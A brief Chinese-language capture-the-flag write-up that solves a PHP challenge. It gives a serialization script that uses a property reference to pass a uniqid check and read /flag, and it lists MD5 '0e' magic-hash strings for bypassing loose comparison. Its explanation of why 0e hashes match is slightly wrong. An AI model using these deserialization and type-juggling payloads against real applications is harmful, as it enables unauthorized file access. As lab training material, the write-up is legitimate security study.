打开靶场,得到的是一段代码。
通过分析上面代码可以构造下面代码,获取到序列化之后的obj。
<?php
class BUU {
public $correct = "";
public $input = "";
public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}
$a=new BUU();
$a->input=&$a->correct;
echo serialize($a);
?>
然后再使用hackbar 插件将post数据传入到,运行代码获取flag。
1.hackbar(浏览器的一款插件)的下载安装
2.按F12调出插件,添加参数,从源码分析得出传的两个参数必须是不一样,但是md5加密之后得到的又得一样,这样的值有很多,例如下面的这些:
QNKCDZO、s878926199a、s155964671a、s214587387a、s214587387a.......
至于为什们相同,因为上面的字符串进过md5加密之后,开头都是0e,这是一种科学计算的方式,被当作0x10的多少次方,得到的结果都是0。
3.获取最后的flag
4.提交flags